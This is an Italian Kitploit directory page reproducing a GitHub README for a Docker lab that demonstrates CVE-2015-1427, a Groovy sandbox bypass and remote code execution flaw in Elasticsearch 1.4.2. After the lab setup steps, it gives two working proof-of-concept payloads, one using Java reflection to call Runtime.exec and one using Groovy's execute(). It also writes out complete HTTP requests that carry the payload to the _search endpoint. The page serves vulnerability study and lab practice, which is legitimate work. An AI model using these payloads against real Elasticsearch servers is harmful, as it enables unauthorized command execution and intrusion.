Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Ambiente di laboratorio basato su Docker per il bypass del sandbox Groovy di ElasticSearch e l'esecuzione di codice remoto per CVE-2015-1427, che dimostra due metodi POC con riflessione Java ed esecuzione di comandi Groovy. | Kitploit
Strumenti/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Ambiente di laboratorio basato su Docker per il bypass del sandbox Groovy di ElasticSearch e l'esecuzione di codice remoto per CVE-2015-1427, che dimostra due metodi POC con riflessione Java ed esecuzione di comandi Groovy.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
6 anni faNon ancora revisionato

Ambiente di test per bypass della sandbox Groovy di ElasticSearch e vulnerabilità di esecuzione di codice (CVE-2015-1427)

Versione JRE: openjdk:8-jre

Versione Elasticsearch: v1.4.2

Principio

Articoli di riferimento:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Dopo CVE-2014-3120, ElasticSearch ha cambiato il linguaggio di scripting dinamico predefinito in Groovy, aggiungendo una sandbox, ma di default supporta ancora l'esecuzione diretta di linguaggi dinamici. Questa vulnerabilità: 1. è un bypass della sandbox; 2. è una vulnerabilità di esecuzione di codice Groovy.

"Sandbox" del linguaggio Groovy

ElasticSearch supporta l'uso del linguaggio Groovy "in sandbox" come script dinamico, ma evidentemente il lavoro ufficiale non è stato ben fatto. lupin e tang3 hanno proposto rispettivamente due metodi per eseguire comandi:

  1. Poiché esiste una sandbox per l'esecuzione di codice Java, il metodo di lupin è tentare di aggirarla, ad esempio usando la riflessione Java.
  2. Groovy è di per sé un linguaggio, quindi tang3 ha preso un'altra strada, usando i metodi supportati da Groovy per eseguire direttamente comandi, senza bisogno di utilizzare il linguaggio Java.

Pertanto, in base a queste due idee di esecuzione della vulnerabilità, possiamo ottenere due diversi POC.

Metodo di bypass della sandbox Java:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

Metodo di esecuzione diretta del comando Groovy:

root@kitploit:~
def command='id';def res=command.execute().text;res

Test della vulnerabilità

Compilare ed eseguire l'ambiente di test

root@kitploit:~
docker-compose build
docker-compose up -d

Poiché per effettuare una query è necessario che ci sia almeno un dato in ES, inviare il seguente pacchetto dati per aggiungere un dato:

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

Quindi inviare un pacchetto dati contenente il payload per eseguire un comando arbitrario:

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Scarica lo strumento